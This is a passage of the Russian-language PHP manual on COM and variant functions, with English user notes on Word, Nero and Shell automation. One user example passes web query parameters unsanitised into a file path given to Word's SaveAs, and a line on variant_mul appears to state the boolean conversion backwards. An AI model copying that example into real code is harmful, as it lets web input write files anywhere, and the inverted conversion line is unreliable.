If Apache runs as a service, com_get_active_object() always returns MK_E_UNAVAILABLE, even when it is definitely sure that the Running Object Table contains a reference to the required object.

If Apache runs in a console, com_get_active_object()  returns the object handle as required.

This apparently is a Windows issue.


Загрузка Typelib

  • « com_get_active_object
  • com_message_pump »
  • PHP Manual
  • Функции COM
  • Загрузка Typelib

com_load_typelib

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

com_load_typelib — Загрузка Typelib

Описание

com_load_typelib(string $typelib, bool $case_insensitive = true): bool

Загружает библиотеку типов и регистрирует её константы таким образом, как если бы они были определены через define().

Обратите внимание, что гораздо эффективней использовать опцию конфигурации php.ini com.typelib-file для предзагрузки и регистрации констант. С другой стороны, таком метод менее гибок.

Если com.autoregister-typelib включено, то PHP постарается автоматически зарегистрировать константы, ассоциированные с объектом COM, когда вы будете создавать его экземпляр. Но подобное поведение зависит от интерфейса объекта COM И может быть недоступно.

Список параметров

typelib

typelib принимает следующие значения:

  • Имя .tlb-файла или запускаемый модуль, содержащий библиотеку типов.

  • GUID библиотеки типов, после которого указан номер версии, например, {00000200-0000-0010-8000-00AA006D2EA4},2,0.

  • Имя библиотеки типов, например, Microsoft OLE DB ActiveX Data Objects 1.0 Library.

PHP будет пытаться определить библиотеку в таком порядке. Каждый следующий пункт сильно затратное по ресурсам чем предыдущий. Т.е. лучше указывать .tbl-файл, если невозможно, то GUID и если совсем все плохо - тогда имя библиотеки. Поиск библиотеки по имени, например, приведёт к тому, что будет произведён перебор всех записей регистра.

case_insensitive

case_insensitive ведёт себя противоположно параметру $case_insensitive в функции define().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

User Contributed Notes

tomas dot burba at softneta dot lt 12-Mar-2012 11:38
I had some problems with a third-party Word-controlling code that is somewhat similar to Richard's example. (Word 2007 SP1, XP SP2.) Rewrote some parts according to that example, no luck. Error messages from Word were crazy:

"Bad parameter" -- it didn't like wdGoToBookmark but was ok with its numeric equivalent -1;

"Call to undefined method variant::SaveAs()" -- the same with Save() that was suitable in my case, so no options were remaining.

But then I ran the example via php.exe in the command line, and it worked! Eventually it turned out that Apache service must be run as some real user instead of SYSTEM.
RQuadling at GMail dot com 17-Jun-2008 03:40
Some libraries load other libraries as part of their functionality. For example Crystal Reports Object Factory uses the CreateObject() method to create an instance of a Crystal Design RunTime Application. If you want to use constants defined in the newly loaded library, you will need to manually register the library - even with com.autoregister_typelib set to true.

<?php
echo 'com.autoregister_typelib = ', ini_get('com.autoregister_typelib'), PHP_EOL;

$o_CrObjectFactory = New COM('CrystalReports11.ObjectFactory.1');

$o_CrApplication = $o_CrObjectFactory->CreateObject("CrystalDesignRunTime.Application");

echo 'Will not be defined : ', crOpenReportByDefault, PHP_EOL;

com_load_typelib('CrystalDesignRunTime.Application');

echo 'Will now be defined : ', crOpenReportByDefault, PHP_EOL;
?>

outputs ...

com.autoregister_typelib = 1
Will not be defined :
Notice: Use of undefined constant crOpenReportByDefault - assumed 'crOpenReportByDefault' in C:\refl.php on line 8
crOpenReportByDefault
Will now be defined : 0
03-May-2004 07:18
In case any of you were wondering what com_load_typelib actually DOES, I have found that it loads constants\enums that the COM obeject has defined.  The example below is using the Nero COM object (from Nero Burning rom, version 6+).  The Nero object defines a bunch of constants, but they can not be used as PHP constants unless you use the mentioned function.  So the example below will work just fine:

<?php
$aNero = new COM("Nero.Nero") or die ("Nero didn't load, too bad");
com_load_typelib("Nero.Nero");
$aNero->GetDrives(NERO_MEDIA_CD);
?>

But this one will not, since PHP will return a message saying that the constant is undefined:

<?php
$aNero = new COM("Nero.Nero") or die ("Nero didn't load, too bad");
$aNero->GetDrives(NERO_MEDIA_CD);
?>

This one took me a while to figure out, hope it helps.

Also, check out http://www.php.net/manual/en/faq.com.php to find out how to get COM events working in PHP.
ojpp at webdevfm dot com 30-Jan-2004 06:33
Hello PHP community, I want to help in a problem I found in this COM built-in function: com_load_typelib(), when I executed it in order to open a COM Server process (for example: Word, Excel, etc.) I was in trouble to release the object from memory, I figured it out, this is the solution:

Change a configuration in the php.ini:

; autoregister constants of a components typlib on com_load()
com.autoregister_typelib = true

When com.autoregister_typelib directive is true, PHP parser manage the COM server type library, I hope it helps.
richard dot quadling at carval dot co dot uk 26-Feb-2003 05:55
<?php
// Some servers may have an auto timeout, so take as long as you want.
set_time_limit(0);

// Show all errors, warnings and notices whilst developing.
error_reporting(E_ALL);

// Used as a placeholder in certain COM functions where no parameter is required.
$empty = new VARIANT();

// Load the appropriate type library.
com_load_typelib('Word.Application');

// Create an object to use.
$word = new COM('word.application') or die('Unable to load Word');
print "Loaded Word, version {$word->Version}\n";

// Open a new document with bookmarks of YourName and YourAge.
$word->Documents->Open('C:/Unfilled.DOC');

// Fill in the information from the form.
$word->Selection->GoTo(wdGoToBookmark,$empty,$empty,'YourName'); // Note use of wdGoToBookmark, from the typelibrary and the use of $empty.
$word->Selection->TypeText($_GET['YourName']);

$word->Selection->GoTo(wdGoToBookmark,$empty,$empty,'YourAge');
$word->Selection->TypeText($_GET['YourAge']);

// Save it, close word and finish.
$word->Documents[1]->SaveAs("C:/{$_GET['YourName']}.doc");
$word->Quit();
$word->Release();
$word = null;
print "Word closed.\n";
?>

The example document is ...

Hello [Bookmark of YourName], you are [Bookmark of YourAge] years old.

and it would be called ...

word.php?YourName=Richard%20Quadling&YourAge=35

Regards,

Richard.


Обработка сообщений COM, пришедших не позднее timeoutms миллисекунд после её запуска

  • « com_load_typelib
  • com_print_typeinfo »
  • PHP Manual
  • Функции COM
  • Обработка сообщений COM, пришедших не позднее timeoutms миллисекунд после её запуска

com_message_pump

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

com_message_pump — Обработка сообщений COM, пришедших не позднее timeoutms миллисекунд после её запуска

Описание

com_message_pump(int $timeout_milliseconds = 0): bool

Функция "засыпает" на timeout_milliseconds миллисекунд, либо пока в очередь не придёт новое сообщение.

Назначение функции состоит в маршрутизации вызовов COM между подразделениями и обработке различных асинхронных задач. Она позволит вашему скрипту ожидать возникновения события, одновременно с этим перехватывая другие события или выполняя другой код в фоне. Вы должны использовать её в цикле, как показано в примере функции com_event_sink() до момента прекращения использования привязки событий объекта COM.

Список параметров

timeout_milliseconds

Задержка в миллисекундах.

Если значение timeout_milliseconds не задано, то оно будет считаться равным нулю. Это означает, что задержки не будет. Если при этом присутствует ожидающее событие, то оно будет обработано как обычно. Если события нет, то функция сразу же вернёт false.

Возвращаемые значения

Если сообщения пришли до исчерпания задержки, то они будут обработаны и функция вернёт true. Если время задержки вышло и ни одного сообщения не пришло, то функция вернёт false.

User Contributed Notes

There are no user contributed notes for this page.


Печатает определение класса PHP для интерфейса, наследующего IDispatch

  • « com_message_pump
  • variant_abs »
  • PHP Manual
  • Функции COM
  • Печатает определение класса PHP для интерфейса, наследующего IDispatch

com_print_typeinfo

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

com_print_typeinfo — Печатает определение класса PHP для интерфейса, наследующего IDispatch

Описание

com_print_typeinfo(variant|string $variant, ?string $dispatch_interface = null, bool $display_sink = false): bool

Назначение функции состоит в создании "рыбы" класса для использования в качестве приёмника событий. Также вы можете использовать её для генерации заглушки для любого объекта COM при условии, что он поддерживает достаточное количество интерфейсов самодиагностики, и что вы знаете имя интерфейса, который вы хотите отобразить.

Список параметров

variant

variant должен быть экземпляром класса COM, либо именем библиотеки типов (которое будет разобрано согласно набору правил, заданному в com_load_typelib()).

dispatch_interface

Имя интерфейса, наследующего IDispatch, который вы хотите отобразить.

display_sink

Если true, то будет отображён соответствующий интерфейс приёмника событий.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Смотрите также

  • com_event_sink() - Связать сообщения объекта COM с объектом PHP
  • com_load_typelib() - Загрузка Typelib

User Contributed Notes

Richard Lynch 03-Oct-2006 04:51
In my particular version of PHP, the second and third arguments are not, in fact, optional.

Passing in '' for both, however, yielded a bucketful of information.

YMMV
csaba at alum dot mit dot edu 14-Feb-2005 12:49
com_print_typeinfo is really useful if you're trying to figure out what properties and methods you have access to.  For example, I might do:

<?php
    $oExplorer = new COM("Shell.Application");
    com_print_typeinfo($oExplorer);
?>

The first line shows me the class of the object (what VBScript calls 'typename'), in my case IShellDispatch4.  It's frequently the case that if you plunk that in as the second argument to com_print_typeinfo, you get way more methods/properties coming back.  Thus:

<?php
    $oExplorer = new COM("Shell.Application");
    com_print_typeinfo($oExplorer, "IShellDispatch4");
?>

Furthermore, you might get additional functions listed if you try lower number suffixes (or not).  At any rate, it would be useful for PHP to have a typename function like VBScript does.  For example, if you iterate through the Windows of $oExplorer you get both IE and Explorer windows and typename is the easy way to differentiate between them.  Here's what I'm using:

<?php
    function typeName($objCOM) {
    if (empty($objCOM)) return "no COM object";
    if (gettype($objCOM)!="object") return "not a COM object";
    ob_start();
    com_print_typeinfo($objCOM);
    $typeInfo = ob_get_contents();
    ob_end_clean();
    $pattern = "/^\\s*class (.*) \\{/";
    if (!($matchCnt = preg_match($pattern, $typeInfo, $aMatch))) return "Not found";
    return $aMatch[1];
}
?>

Csaba Gabor from Vienna


Получить абсолютное значение варианта

  • « com_print_typeinfo
  • variant_add »
  • PHP Manual
  • Функции COM
  • Получить абсолютное значение варианта

variant_abs

(PHP 5, PHP 7, PHP 8)

variant_abs — Получить абсолютное значение варианта

Описание

variant_abs(mixed $value): variant

Функция возвращает абсолютное значение варианта.

Список параметров

value

Вариант.

Замечание:

Как и со всеми вариантными арифметическими функциями, параметры этой функции могут быть как родными PHP типами (integer, string, floating point, boolean или null), так и экземплярами классов COM, VARIANT или DOTNET. Родные PHP типы будут преобразованы в варианты (variants) по тем же самым правилам, что и в конструкторе класса variant. У объектов COM и DOTNET будет взято и использовано их значение по умолчанию в качестве значения варианта.

Вариантные арифметические функции являются обёртками вокруг одноимённых функций в библиотеке COM; для более подробной информации по этим функциям проконсультируйтесь с библиотекой MSDN. Названия PHP-функций немного отличаются; например, variant_add() в PHP соответствует VarAdd() в документации MSDN.

Возвращаемые значения

Функция возвращает абсолютное значение value.

Ошибки

Функция выбрасывает исключение com_exception, если возникла ошибка.

Смотрите также

  • abs() - Возвращает абсолютную величину (модуль числа)

User Contributed Notes

There are no user contributed notes for this page.


Сложить значения двух вариантов

  • « variant_abs
  • variant_and »
  • PHP Manual
  • Функции COM
  • Сложить значения двух вариантов

variant_add

(PHP 5, PHP 7, PHP 8)

variant_add — Сложить значения двух вариантов

Описание

variant_add(mixed $left, mixed $right): variant

Складывает left с right, используя следующие правила (взято из библиотеки MSDN), в соответствии с Visual Basic:

Правила сложения вариантов
Если | То
Оба выражения являются строками | Конкатенация
Одно выражение строка, а второе - символ | Добавление
Одно выражение числовое, а второе строковое | Добавление
Оба выражения - числа | Добавление
Одно из выражений равно NULL | Будет возвращён NULL
Оба выражения пусты | Будет возвращён целочисленный подтип

Список параметров

left

Левый операнд.

right

Правый операнд.

Замечание:

Как и со всеми вариантными арифметическими функциями, параметры этой функции могут быть как родными PHP типами (integer, string, floating point, boolean или null), так и экземплярами классов COM, VARIANT или DOTNET. Родные PHP типы будут преобразованы в варианты (variants) по тем же самым правилам, что и в конструкторе класса variant. У объектов COM и DOTNET будет взято и использовано их значение по умолчанию в качестве значения варианта.

Вариантные арифметические функции являются обёртками вокруг одноимённых функций в библиотеке COM; для более подробной информации по этим функциям проконсультируйтесь с библиотекой MSDN. Названия PHP-функций немного отличаются; например, variant_add() в PHP соответствует VarAdd() в документации MSDN.

Возвращаемые значения

Возвращает результат.

Ошибки

Выбрасывает исключение com_exception в случае возникновения ошибки.

Смотрите также

  • variant_sub() - Вычитает значение правого варианта из левого

User Contributed Notes

There are no user contributed notes for this page.


Побитовое И над двумя вариантами

  • « variant_add
  • variant_cast »
  • PHP Manual
  • Функции COM
  • Побитовое И над двумя вариантами

variant_and

(PHP 5, PHP 7, PHP 8)

variant_and — Побитовое И над двумя вариантами

Описание

variant_and(mixed $left, mixed $right): variant

Побитовое И над двумя вариантами. Обратите внимание, что это не совсем обычная операция И.

Список параметров

left

Левый операнд.

right

Правый операнд.

Замечание:

Как и со всеми вариантными арифметическими функциями, параметры этой функции могут быть как родными PHP типами (integer, string, floating point, boolean или null), так и экземплярами классов COM, VARIANT или DOTNET. Родные PHP типы будут преобразованы в варианты (variants) по тем же самым правилам, что и в конструкторе класса variant. У объектов COM и DOTNET будет взято и использовано их значение по умолчанию в качестве значения варианта.

Вариантные арифметические функции являются обёртками вокруг одноимённых функций в библиотеке COM; для более подробной информации по этим функциям проконсультируйтесь с библиотекой MSDN. Названия PHP-функций немного отличаются; например, variant_add() в PHP соответствует VarAdd() в документации MSDN.

Возвращаемые значения

Правила И для вариантов
Если left равен | и right равен | результат будет
true | true | true
true | false | false
true | null | null
false | true | false
false | false | false
false | null | false
null | true | null
null | false | false
null | null | null

Ошибки

Выбрасывает исключение com_exception в случае возникновения ошибки.

Смотрите также

  • variant_or() - Побитовое ИЛИ над двумя вариантами

User Contributed Notes

There are no user contributed notes for this page.


Преобразовывает вариант в новый вариант другого типа

  • « variant_and
  • variant_cat »
  • PHP Manual
  • Функции COM
  • Преобразовывает вариант в новый вариант другого типа

variant_cast

(PHP 5, PHP 7, PHP 8)

variant_cast — Преобразовывает вариант в новый вариант другого типа

Описание

variant_cast(variant $variant, int $type): variant

Функция делает копию варианта variant и преобразовывает её к типу type.

Эта функция — обёртка над функцией VariantChangeType() из библиотеки COM; подробнее об этом рассказно в документации MSDN.

Список параметров

variant

Вариант.

type

type должен быть одной из констант VT_XXX.

Возвращаемые значения

Возвращает вариант заданного в параметре type типа.

Смотрите также

  • variant_set_type() - Приводит вариант к другому типу «по месту»

User Contributed Notes

There are no user contributed notes for this page.


Объединение (конкатенация) значений двух вариантов

  • « variant_cast
  • variant_cmp »
  • PHP Manual
  • Функции COM
  • Объединение (конкатенация) значений двух вариантов

variant_cat

(PHP 5, PHP 7, PHP 8)

variant_cat — Объединение (конкатенация) значений двух вариантов

Описание

variant_cat(mixed $left, mixed $right): variant

Объединяет left с right и возвращает результат.

Функция эквивалентна выполнению $left . $right.

Список параметров

left

Левый операнд.

right

Правый операнд.

Замечание:

Как и со всеми вариантными арифметическими функциями, параметры этой функции могут быть как родными PHP типами (integer, string, floating point, boolean или null), так и экземплярами классов COM, VARIANT или DOTNET. Родные PHP типы будут преобразованы в варианты (variants) по тем же самым правилам, что и в конструкторе класса variant. У объектов COM и DOTNET будет взято и использовано их значение по умолчанию в качестве значения варианта.

Вариантные арифметические функции являются обёртками вокруг одноимённых функций в библиотеке COM; для более подробной информации по этим функциям проконсультируйтесь с библиотекой MSDN. Названия PHP-функций немного отличаются; например, variant_add() в PHP соответствует VarAdd() в документации MSDN.

Возвращаемые значения

Возвращает результат объединения.

Ошибки

Выбрасывает исключение com_exception в случае возникновения ошибки.

Смотрите также

  • Строки - конкатенация строк

User Contributed Notes

There are no user contributed notes for this page.


Сравнить два варианта

  • « variant_cat
  • variant_date_from_timestamp »
  • PHP Manual
  • Функции COM
  • Сравнить два варианта

variant_cmp

(PHP 5, PHP 7, PHP 8)

variant_cmp — Сравнить два варианта

Описание

variant_cmp(
mixed $left,
mixed $right,
int $locale_id = LOCALE_SYSTEM_DEFAULT,
int $flags = 0
): int

Сравнивает left с right.

Функция сравнивает только скалярные величины. Массивы и записи вариантов не сравнивает.

Список параметров

left

Левый операнд.

right

Правый операнд.

locale_id

Корректный идентификатор локали, используемый при сравнении строк (влияет на сортировку строк).

flags

flags - побитовое ИЛИ следующих значений (либо просто одно из них):

Флаги сравнения вариантов
значение | описание
NORM_IGNORECASE | Сравнивать регистронезависимо
NORM_IGNORENONSPACE | Игнорировать символы не занимающие места
NORM_IGNORESYMBOLS | Игнорировать символы
NORM_IGNOREWIDTH | Игнорировать длину строки
NORM_IGNOREKANATYPE | Игнорировать тип Кана
NORM_IGNOREKASHIDA | Игнорировать символы Кашиды для Арабского языка

Замечание:

Как и со всеми вариантными арифметическими функциями, параметры этой функции могут быть как родными PHP типами (integer, string, floating point, boolean или null), так и экземплярами классов COM, VARIANT или DOTNET. Родные PHP типы будут преобразованы в варианты (variants) по тем же самым правилам, что и в конструкторе класса variant. У объектов COM и DOTNET будет взято и использовано их значение по умолчанию в качестве значения варианта.

Вариантные арифметические функции являются обёртками вокруг одноимённых функций в библиотеке COM; для более подробной информации по этим функциям проконсультируйтесь с библиотекой MSDN. Названия PHP-функций немного отличаются; например, variant_add() в PHP соответствует VarAdd() в документации MSDN.

Возвращаемые значения

Возвращает одно из:

Результаты сравнения вариантов
значение | описание
VARCMP_LT | left меньше чем right
VARCMP_EQ | left идентичен right
VARCMP_GT | left больше чем right
VARCMP_NULL | Оба значения left и right равны null

User Contributed Notes

There are no user contributed notes for this page.


Получает представление даты для варианта из метки времени Unix

  • « variant_cmp
  • variant_date_to_timestamp »
  • PHP Manual
  • Функции COM
  • Получает представление даты для варианта из метки времени Unix

variant_date_from_timestamp

(PHP 5, PHP 7, PHP 8)

variant_date_from_timestamp — Получает представление даты для варианта из метки времени Unix

Описание

variant_date_from_timestamp(int $timestamp): variant

Преобразовывает значение метки времени Unix параметра timestamp в вариант типа VT_DATE. Это упрощает взаимодействие между частями PHP в Unix-стиле и COM.

Список параметров

timestamp

Временная метка Unix.

Возвращаемые значения

Возвращает вариант типа VT_DATE.

Смотрите также

  • variant_date_to_timestamp() - Преобразовывает вариант типа дата/время во временную метку Unix
  • mktime() - Возвращает метку времени Unix для заданной даты
  • time() - Возвращает текущую метку системного времени Unix

User Contributed Notes

There are no user contributed notes for this page.


Преобразовывает вариант типа дата/время во временную метку Unix

  • « variant_date_from_timestamp
  • variant_div »
  • PHP Manual
  • Функции COM
  • Преобразовывает вариант типа дата/время во временную метку Unix

variant_date_to_timestamp

(PHP 5, PHP 7, PHP 8)

variant_date_to_timestamp — Преобразовывает вариант типа дата/время во временную метку Unix

Описание

variant_date_to_timestamp(variant $variant): ?int

Конвертирует variant из значения VT_DATE (или аналогичного типа) во временную метку Unix. Это позволяет проще совместить часть PHP в Unix-стиле с COM.

Список параметров

variant

Вариант.

Возвращаемые значения

Возвращает временную метку Unix или null в случае возникновения ошибки.

Смотрите также

  • variant_date_from_timestamp() - Получает представление даты для варианта из метки времени Unix
  • date() - Форматирует временную метку Unix
  • strftime() - Форматирует текущую дату/время с учётом текущих настроек локали

User Contributed Notes

radek at tetik dot cz 25-Dec-2015 03:21
variant_date_to_timestamp() assumes the COM date in the current Windows time zone and converts it to the current PHP time zone


Получить результат деления двух вариантов

  • « variant_date_to_timestamp
  • variant_eqv »
  • PHP Manual
  • Функции COM
  • Получить результат деления двух вариантов

variant_div

(PHP 5, PHP 7, PHP 8)

variant_div — Получить результат деления двух вариантов

Описание

variant_div(mixed $left, mixed $right): variant

Делит left на right и возвращает результат.

Список параметров

left

Левый операнд.

right

Правый операнд.

Замечание:

Как и со всеми вариантными арифметическими функциями, параметры этой функции могут быть как родными PHP типами (integer, string, floating point, boolean или null), так и экземплярами классов COM, VARIANT или DOTNET. Родные PHP типы будут преобразованы в варианты (variants) по тем же самым правилам, что и в конструкторе класса variant. У объектов COM и DOTNET будет взято и использовано их значение по умолчанию в качестве значения варианта.

Вариантные арифметические функции являются обёртками вокруг одноимённых функций в библиотеке COM; для более подробной информации по этим функциям проконсультируйтесь с библиотекой MSDN. Названия PHP-функций немного отличаются; например, variant_add() в PHP соответствует VarAdd() в документации MSDN.

Возвращаемые значения

Правила деления операндов
Если | Тогда
Оба варианта - строки, даты, символы, логические | Вернётся тип double
Один вариант - строка, а другой - символ | Произойдёт деление и вернётся тип double
Один вариант - число, второй - строка | Произойдёт деление и вернётся тип double
Оба варианта - числа | Произойдёт деление и вернётся тип double
Один из вариантов - NULL | Вернёт NULL
right пуст, а left не пуст | Будет выброшено исключение com_exception с кодом DISP_E_DIVBYZERO
left пуст, а right не пуст. | Вернёт 0 типа double
Оба операнда пусты | Будет выброшено исключение com_exception с кодом DISP_E_OVERFLOW

Ошибки

Выбрасывает исключение com_exception в случае возникновения ошибки.

Смотрите также

  • variant_idiv() - Делит преобразованные в целые числа варианты

User Contributed Notes

There are no user contributed notes for this page.


Побитовая эквиваленция двух вариантов

  • « variant_div
  • variant_fix »
  • PHP Manual
  • Функции COM
  • Побитовая эквиваленция двух вариантов

variant_eqv

(PHP 5, PHP 7, PHP 8)

variant_eqv — Побитовая эквиваленция двух вариантов

Описание

variant_eqv(mixed $left, mixed $right): variant

Побитовая эквиваленция двух вариантов.

Список параметров

left

Левый операнд.

right

Правый операнд.

Замечание:

Как и со всеми вариантными арифметическими функциями, параметры этой функции могут быть как родными PHP типами (integer, string, floating point, boolean или null), так и экземплярами классов COM, VARIANT или DOTNET. Родные PHP типы будут преобразованы в варианты (variants) по тем же самым правилам, что и в конструкторе класса variant. У объектов COM и DOTNET будет взято и использовано их значение по умолчанию в качестве значения варианта.

Вариантные арифметические функции являются обёртками вокруг одноимённых функций в библиотеке COM; для более подробной информации по этим функциям проконсультируйтесь с библиотекой MSDN. Названия PHP-функций немного отличаются; например, variant_add() в PHP соответствует VarAdd() в документации MSDN.

Возвращаемые значения

Биты возвращаемого значения выставятся в 1, если соответствующие биты операнда left будут идентичны соответствующим битам операнда right и в 0, если они будут отличаться. То есть, если применить эту функцию к значениям 100(01100100) и 53(00110101) для однобайтовых беззнаковых вариантов, то результат будет 174 (10101110).

Ошибки

Выбрасывает исключение com_exception в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Вернуть целую часть варианта

  • « variant_eqv
  • variant_get_type »
  • PHP Manual
  • Функции COM
  • Вернуть целую часть варианта

variant_fix

(PHP 5, PHP 7, PHP 8)

variant_fix — Вернуть целую часть варианта

Описание

variant_fix(mixed $value): variant

Возвращает целую часть варианта.

Список параметров

value

Вариант.

Замечание:

Как и со всеми вариантными арифметическими функциями, параметры этой функции могут быть как родными PHP типами (integer, string, floating point, boolean или null), так и экземплярами классов COM, VARIANT или DOTNET. Родные PHP типы будут преобразованы в варианты (variants) по тем же самым правилам, что и в конструкторе класса variant. У объектов COM и DOTNET будет взято и использовано их значение по умолчанию в качестве значения варианта.

Вариантные арифметические функции являются обёртками вокруг одноимённых функций в библиотеке COM; для более подробной информации по этим функциям проконсультируйтесь с библиотекой MSDN. Названия PHP-функций немного отличаются; например, variant_add() в PHP соответствует VarAdd() в документации MSDN.

Возвращаемые значения

Если value отрицателен, то будет возвращено первое отрицательное целое больше или равное варианту. В случае положительного числа будет просто возвращена целочисленная часть value.

Ошибки

Выбрасывает исключение com_exception в случае возникновения ошибки.

Примечания

Внимание

Вы, наверное, заметили, что описание этой функции буква в букву совпадает с описанием функции variant_int(). Так как эта документация основана на MSDN, то это либо так и должно быть, либо в MSDN ошибка.

Смотрите также

  • variant_int() - Вернуть целочисленную часть варианта
  • variant_round() - Округляет вариант с заданной точностью
  • floor() - Округляет дробное число в меньшую сторону
  • ceil() - Округляет дробное число в бо?льшую сторону
  • round() - Округляет число с плавающей точкой (float)

User Contributed Notes

There are no user contributed notes for this page.


Получить тип варианта

  • « variant_fix
  • variant_idiv »
  • PHP Manual
  • Функции COM
  • Получить тип варианта

variant_get_type

(PHP 5, PHP 7, PHP 8)

variant_get_type — Получить тип варианта

Описание

variant_get_type(variant $variant): int

Возвращает тип объекта варианта.

Список параметров

variant

Вариант.

Возвращаемые значения

Функция возвращает целочисленное значение, обозначающее тип variant, который может быть экземпляром классов com, dotnet или variant. Возвращаемое значение равно одной из констант VT_XXX.

Возвращаемое значение для объектов COM и DOTNET обычно равно VT_DISPATCH; единственная причина, почему эта функция работает для этих классов заключается в том, что COM и DOTNET являются потомками VARIANT.

Смотрите также

  • variant_set_type() - Приводит вариант к другому типу «по месту»

User Contributed Notes

There are no user contributed notes for this page.


Делит преобразованные в целые числа варианты

  • « variant_get_type
  • variant_imp »
  • PHP Manual
  • Функции COM
  • Делит преобразованные в целые числа варианты

variant_idiv

(PHP 5, PHP 7, PHP 8)

variant_idiv — Делит преобразованные в целые числа варианты

Описание

variant_idiv(mixed $left, mixed $right): variant

Преобразовывает операнды left и right в целочисленные значения и выполняет целочисленное деление.

Список параметров

left

Левый операнд.

right

Правый операнд.

Замечание:

Как и со всеми вариантными арифметическими функциями, параметры этой функции могут быть как родными PHP типами (integer, string, floating point, boolean или null), так и экземплярами классов COM, VARIANT или DOTNET. Родные PHP типы будут преобразованы в варианты (variants) по тем же самым правилам, что и в конструкторе класса variant. У объектов COM и DOTNET будет взято и использовано их значение по умолчанию в качестве значения варианта.

Вариантные арифметические функции являются обёртками вокруг одноимённых функций в библиотеке COM; для более подробной информации по этим функциям проконсультируйтесь с библиотекой MSDN. Названия PHP-функций немного отличаются; например, variant_add() в PHP соответствует VarAdd() в документации MSDN.

Возвращаемые значения

Правила деления вариантов
Если | То
Оба выражения — строки, даты, символы или логические значения | Целочисленное значение деления
Одно выражение строка, а другое символ | Деление
Одно выражение число, а другое строка | Деление
Оба выражения числа | Деление
Одно из выражений NULL | Будет возвращён NULL
Оба выражения пусты | Исключение com_exception с кодом DISP_E_DIVBYZERO

Ошибки

Выбрасывает исключение com_exception в случае возникновения ошибки.

Смотрите также

  • variant_div() - Получить результат деления двух вариантов

User Contributed Notes

There are no user contributed notes for this page.


Побитовая импликация над двумя вариантами

  • « variant_idiv
  • variant_int »
  • PHP Manual
  • Функции COM
  • Побитовая импликация над двумя вариантами

variant_imp

(PHP 5, PHP 7, PHP 8)

variant_imp — Побитовая импликация над двумя вариантами

Описание

variant_imp(mixed $left, mixed $right): variant

Побитовая импликация над двумя вариантами.

Список параметров

left

Левый операнд.

right

Правый операнд.

Замечание:

Как и со всеми вариантными арифметическими функциями, параметры этой функции могут быть как родными PHP типами (integer, string, floating point, boolean или null), так и экземплярами классов COM, VARIANT или DOTNET. Родные PHP типы будут преобразованы в варианты (variants) по тем же самым правилам, что и в конструкторе класса variant. У объектов COM и DOTNET будет взято и использовано их значение по умолчанию в качестве значения варианта.

Вариантные арифметические функции являются обёртками вокруг одноимённых функций в библиотеке COM; для более подробной информации по этим функциям проконсультируйтесь с библиотекой MSDN. Названия PHP-функций немного отличаются; например, variant_add() в PHP соответствует VarAdd() в документации MSDN.

Возвращаемые значения

Таблица импликации вариантов
Если left | Если right | Тогда результат
true | true | true
true | false | false
true | null | true
false | true | true
false | false | true
false | null | true
null | true | true
null | false | null
null | null | null

Ошибки

Выбрасывает исключение com_exception в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Вернуть целочисленную часть варианта

  • « variant_imp
  • variant_mod »
  • PHP Manual
  • Функции COM
  • Вернуть целочисленную часть варианта

variant_int

(PHP 5, PHP 7, PHP 8)

variant_int — Вернуть целочисленную часть варианта

Описание

variant_int(mixed $value): variant

Извлекает целочисленную часть варианта.

Список параметров

value

Вариант.

Замечание:

Как и со всеми вариантными арифметическими функциями, параметры этой функции могут быть как родными PHP типами (integer, string, floating point, boolean или null), так и экземплярами классов COM, VARIANT или DOTNET. Родные PHP типы будут преобразованы в варианты (variants) по тем же самым правилам, что и в конструкторе класса variant. У объектов COM и DOTNET будет взято и использовано их значение по умолчанию в качестве значения варианта.

Вариантные арифметические функции являются обёртками вокруг одноимённых функций в библиотеке COM; для более подробной информации по этим функциям проконсультируйтесь с библиотекой MSDN. Названия PHP-функций немного отличаются; например, variant_add() в PHP соответствует VarAdd() в документации MSDN.

Возвращаемые значения

Если value отрицателен, то будет возвращено первое отрицательное целое больше или равное варианту. В случае положительного числа будет просто возвращена целочисленная часть value.

Ошибки

Выбрасывает исключение com_exception в случае возникновения ошибки.

Смотрите также

  • variant_fix() - Вернуть целую часть варианта
  • variant_round() - Округляет вариант с заданной точностью
  • floor() - Округляет дробное число в меньшую сторону
  • ceil() - Округляет дробное число в бо?льшую сторону
  • round() - Округляет число с плавающей точкой (float)

User Contributed Notes

There are no user contributed notes for this page.


Остаток от деления двух вариантов

  • « variant_int
  • variant_mul »
  • PHP Manual
  • Функции COM
  • Остаток от деления двух вариантов

variant_mod

(PHP 5, PHP 7, PHP 8)

variant_mod — Остаток от деления двух вариантов

Описание

variant_mod(mixed $left, mixed $right): variant

Делит left на right и возвращает остаток.

Список параметров

left

Левый операнд.

right

Правый операнд.

Замечание:

Как и со всеми вариантными арифметическими функциями, параметры этой функции могут быть как родными PHP типами (integer, string, floating point, boolean или null), так и экземплярами классов COM, VARIANT или DOTNET. Родные PHP типы будут преобразованы в варианты (variants) по тем же самым правилам, что и в конструкторе класса variant. У объектов COM и DOTNET будет взято и использовано их значение по умолчанию в качестве значения варианта.

Вариантные арифметические функции являются обёртками вокруг одноимённых функций в библиотеке COM; для более подробной информации по этим функциям проконсультируйтесь с библиотекой MSDN. Названия PHP-функций немного отличаются; например, variant_add() в PHP соответствует VarAdd() в документации MSDN.

Возвращаемые значения

Возвращает остаток от деления.

Ошибки

Выбрасывает исключение com_exception в случае возникновения ошибки.

Смотрите также

  • variant_div() - Получить результат деления двух вариантов
  • variant_idiv() - Делит преобразованные в целые числа варианты

User Contributed Notes

There are no user contributed notes for this page.


Умножает значения двух вариантов

  • « variant_mod
  • variant_neg »
  • PHP Manual
  • Функции COM
  • Умножает значения двух вариантов

variant_mul

(PHP 5, PHP 7, PHP 8)

variant_mul — Умножает значения двух вариантов

Описание

variant_mul(mixed $left, mixed $right): variant

Умножает left на right.

Список параметров

left

Левый операнд.

right

Правый операнд.

Логические значения преобразуются в -1 для false и в 0 для true.

Замечание:

